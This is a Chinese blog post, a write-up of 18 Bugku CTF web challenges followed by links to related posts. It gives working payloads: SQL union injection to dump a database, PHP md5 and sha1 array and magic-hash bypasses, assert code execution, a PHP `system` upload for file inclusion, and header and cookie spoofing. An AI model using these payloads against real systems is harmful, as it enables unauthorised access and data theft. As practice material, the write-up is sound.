2019.2.10

过年休息归来,继续做题。

bugku的web题,地址:https://ctf.bugku.com/challenges

1.

http://123.206.87.240:8002/web16/

提示是备份,不由自主想到bak。这里可以扫路径或者自己多试试:

http://123.206.87.240:8002/web16/index.php.bak 就是备份,直接保存下来。

打开后是一段源代码:

大概意思就是,获取key1和key2,但是会过滤掉你输入的key。

然后如果两个key的md5相等,且两个key本身不相等,就会打印出flag的值。

在这里可以用 kekeyy1 和 kekeyy2来绕过这个过滤。

而在php中,md5函数无法处理数组,返回的都是null,两个null也是相等。

所以构造payload:

http://123.206.87.240:8002/web16/?kekeyy1[]=sss&kekeyy2[]=xxx

(key后面的值随便写就ok)

Bugku{OH_YOU_FIND_MY_MOMY}

2.

http://123.206.87.240:8002/chengjidan/

输入1的时候是这样(这个submit是post方式)

加个'

这里猜下,总共四列 (名字,三科目)

1' union select 1,2,3,4#

都有回显,于是 构造 -1' union select 1,2,3,database()#   (用1爆不出来)

获取数据库名称:

之后通过 -1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#  得到表名fl4g,sc

然后获取flag中的字段,这里需要16进制绕过一下:

-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#

所以我们最终要获取的就是 skctf_flag数据库中 fl4g表中 skctf_flag字段的值。

构造payload;

-1' union select 1,2,3,skctf_flag from fl4g#
BUGKU{Sql_INJECT0N_4813drd8hz4}
3.
http://123.206.87.240:8002/qiumingshan/

这道题应该就是 脚本提交post数据的方式,还需要在两秒内。就得获取页面上的数字和运算法则。

所以直接脚本:

mport requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)  

 其中用到正则表达式,其实就是匹配 十进制数加上四则运算符号加上十进制数 这样的形式。
然后直接用python 内置的 eval方法,可以直接把文本提取为计算式。
至于为什么要post value,可以多刷新几遍网页:
最后运行脚本:

Bugku{YOU_DID_IT_BY_SECOND}

4.
http://123.206.87.240:8002/web6/
查看页面源代码也没什么值得注意的,抓包试试。

放到repeater中 go一下试试:

多go几次,发现每次的flag都不一样。做到这步大概就是得写脚本了。思路就是 提取 header中的flag值,然后构造 margin = flag值 这样的数据,post一下,获得返回内容就能得到flag。

脚本:

import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
req = requests.session()
res = req.get(url)
flag = res.headers['flag']
txt = base64.b64decode(flag)
txt = txt[txt.index(":") + 2:]
txt = base64.b64decode(txt)
data = {'margin': txt}
ans = req.post(url, data)
print ans.content  
 
这里要注意的是,flag是base64加密,解密后还是一个base64,需要进行两次解密。 这个在py2.x可以运行,py3需要将byte与str进行转换。
5.

http://123.206.87.240:8002/web11/

打开后这样,字符没什么意义,页面源代码也没其他的东西。

看url  filename后面的好像是base64编码:

解码:

那就根据这个原理访问其他页面,比如要访问index.php,就先把它base64加密:

filename =aW5kZXgucGhw

访问后页面是空的,查看源代码是这样的:

猜想大概是这个 line= 起到作用,

不妨写个脚本跑出来所有代码:

import requests
a=30
for i in range(a):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print s.text

  

得到的代码:

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

  从代码后半段可以看到,有一个keys.php的页面,应该是我们想要的。而且还有个判断,就是我们的cookies 要等于 margin

keys.php base64加密后:a2V5cy5waHA=

抓个包,然后放到repeater里面go一下:

KEY{key_keys}

6.

http://123.206.87.240:8006/test/hello.php

打开后查看源代码:

然后直接访问 ...../test/1p.html  (查看源代码的页面 view code)

发现一段base64 解密:

解密后是段php:

";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
} ?>

  尝试直接访问 f412a3g.txt (还是上面的那种访问方式)

...../test/f412a3g.txt

flag{tHis_iS_THe_fLaG}

7.

http://123.206.87.240:8010/


打开后没什么可利用的信息,那就好好看看给的提示:

<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>

exlpde()分割a#s#s#e#r#t为assert,使用assert()函数的解析传进来的s串,assert有代码执行漏洞。

所以这里构造payload:

?s=print_r(scandir('./'))  (扫描当前目录并按数组形式输出)

这里直接访问 f94lag.txt就行了:

BUGKU{bugku_web_009801_a}

8.

对于正则表达式我是不了解的。。。详情学习了这篇文章,写得非常的细致:

https://blog.csdn.net/qq_26090065/article/details/81605837

key is: KEY{0x0SIOPh550afc}

9.

http://123.206.31.85:49162/

打开后不禁想起了自己的前女友=。=。。。

查看页面源代码:

打开这个code.txt

和之前的一道题蛮像的,还是php 中md5函数无法对数组进行运算。

构造payload:http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=3

SKCTF{Php_1s_tH3_B3St_L4NgUag3}

10.

http://123.206.31.85:49163/

sql约束攻击 大多就是 字符串长度的约束
比如 user = admin 1
和 uset = admin 会被数据库识别成一样的 (看它的约束条件是什么样)

所以这道题,先注册一个 admin 的账号(有个空格,你注册几个空格的都可以)

然后用admin登陆,用你注册的密码就行了:

SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

11.


http://123.206.87.240:9009/from.php

打开后这样:

看页面源代码也没别的东西,猜测是抓包改下头部什么的,改成外国的,或者谷歌啥的。

这里抓包,修改 Referer 为 https://www.google.com 就行了:

flag{bug-ku_ai_admin}

12.

这里找了下 md5碰撞的原理:

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。

0e开头的md5和原值:

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

所以构造a= 以上的一种 就可以:

比如:

http://123.206.87.240:9009/md5.php?a=s878926199a

flag{md5_collision_is_easy}

13.

http://123.206.87.240:8002/localhost/

页面源代码没有东西。他既然说本地访问了,那就抓个包 用 X-Forward-For: 127.0.0.1试试;

flag{loc-al-h-o-st1}

14.

http://123.206.87.240:8002/web7/

代码意思就是,id需要等于margin,然后用户名和密码不能相同,但是sha1后要相同(类似于md5)

所以还是用数组的方式绕过,要注意passwd 是需要post的,所以需要用到hackbar:

Flag: flag{HACK_45hhs_213sDD}

15.

打开后这样:

刚开始以为题目坏了。。看到最近也有人解答出来,就知道事情不简单。

扫下后台把,发现了robot.txt

进入这个 resus1.php:

下面很明显,x需要等于password才行。

蒙一个admin:

搞定:

flag(ctf_0098_lkji-s)

16.

因为比较懒,直接尝试sqlmap 跑 forms形式的:

flag{ed6b28e684817d9efcaf802979e57aea}

17.

查看页面代码注释:

这里上传文件包含的php (用图片马什么的不好使。。。)

<script language=php>system("ls")</script>   新建一个文档,然后改成jpg后缀。

然后访问这个地址,要注意还是用 file= 的方式:

然后直接访问那个 长长的文件就行了:

SKCTF{uP104D_1nclud3_426fh8_is_Fun}

18.

刚开始以为是sql注入,查路径什么的,看源代码也都没有,login点了确实没反应。

后来才知道,原来是传参,/?hint=1

这里有个坑就是 key不是下面那一串,判断的时候也 key的值是 NULL 也就是 cookie要等于 NULL的序列化的结果:

所以就抓下包,然后改cookie 就好了:

flag{unserialize_by_virink}

写到这。。。剩下题也太难了8.。。

ctf题目writeup(7)的更多相关文章

  1. ctf题目writeup(9)

    继续刷题,找到一个 什么 蓝鲸安全的ctf平台 地址:http://whalectf.xin/challenges (话说这些ctf平台长得好像) 1. 放到converter试一下: 在用十六进制转 ...

  2. ctf题目writeup(6)

    2019.2.2 依旧是bugku上面的题目,地址:https://ctf.bugku.com/challenges 1. 解压后是60多个out.zip,都是真加密,里面都是1kb的data.txt ...

  3. ctf题目writeup(5)

    2019.2.1 今天继续bugku的隐写杂项题:题目链接:https://ctf.bugku.com/challenges 1. 这道题下载后用wireshark打开...看了好久也没看出个所以然, ...

  4. ctf题目writeup(4)

    2019.1.31 题目:这次都是web的了...(自己只略接触隐写杂项web这些简单的东西...) 题目地址:https://www.ichunqiu.com/battalion 1. 打开链接: ...

  5. ctf题目writeup(1)

    2019/1/28 题目来源:爱春秋 https://www.ichunqiu.com/battalion?t=1 1. 该文件是一个音频文件: 首先打开听了一下,有短促的长的....刚开始以为是摩斯 ...

  6. ctf题目writeup(8)

    2019.2.11 南京邮电的ctf平台: 地址http://ctf.nuptzj.cn/challenges# 他们好像搭新的平台了...我注册弄了好半天... 1. 签到题,打开网址: 查看一下页 ...

  7. ctf题目writeup(3)

    题目地址: https://www.ichunqiu.com/battalion 1. 这个是个mp3,给的校验是为了下载下来的. 下来之后丢进audicity中 放大后根据那个音块的宽度来确定是 . ...

  8. ctf题目writeup(2)

    2019.1.29 题目地址: https://www.ichunqiu.com/battalion 1. 点开链接: include "flag.php";$a = @$_REQ ...

  9. 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup

    攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...

随机推荐

  1. Microsoft Fluent Design System

    转载自:http://www.ui.cn/detail/131217.html 就在刚刚举办的 Microsoft Build 2017 中,微软对外公布了它们最新的设计语言--"Fluen ...

  2. Flask博客类登录注册验证模块代码(十四)

    1 文件系统 blog #博客类 App forms #表单 __init__.py user.py models #模型 __init__.py user.py static #静态文件 templ ...

  3. Struts2的学习-属性驱动和模型驱动

    1.新建空项目,并托管到码云 2.设立maven 3.设置pom.xml 4.建包 5.在java包里建立两个类 package com.nf.entity; public class User { ...

  4. Ubuntu 配置java环境变量

    1.使用如下命令,打开/etc/profile: $sudo vi /etc/profile 2.进入编辑模式,在末尾添加: #developer enviroment, add by myself ...

  5. Python:dict字典

    #字典dict------->唯一的映射类型 1.数据类型的划分 数据类型划分为可变数据类型和不可变数据类型. 不可变数据类型:tupe(元组).bool.int.str           可 ...

  6. 服务器安装anaconda

    SSH连接服务器可以用putty 网址:https://repo.continuum.io/archive/ 下载安装脚本 wget https://repo.anaconda.com/archive ...

  7. ACM-ICPC (10/15) Codeforces Round #440 (Div. 2, based on Technocup 2018 Elimination Round 2)

    A. Search for Pretty Integers You are given two lists of non-zero digits. Let's call an integer pret ...

  8. luogu P2124 奶牛美容

    嘟嘟嘟 首先数据范围那么小,那么算法也是相当暴力的. 对于一个点(x, y)所属的联通块,预处理出从这个点出发到这个块外的所有点的曼哈顿距离.复杂度O(n4). 然后求答案:最少答案不一定是三个联通块 ...

  9. 2018.12.13 Missing artifact net.sf.json-lib:json-lib:jar:2.4 错误

    原因:json-lib是需要区分jdk版本的,pom.xml中的配置应加上标签classifier指定jdk版本,如用jdk15

  10. Spring知识点总结(五)Spring整合JDBC

     1. 回顾JDBC        a. java操作关系型数据的API.导入相关数据库的驱动包后可以通过JDBC提供的接口来操作数据库.        b. 实现JDBC的六个步骤          ...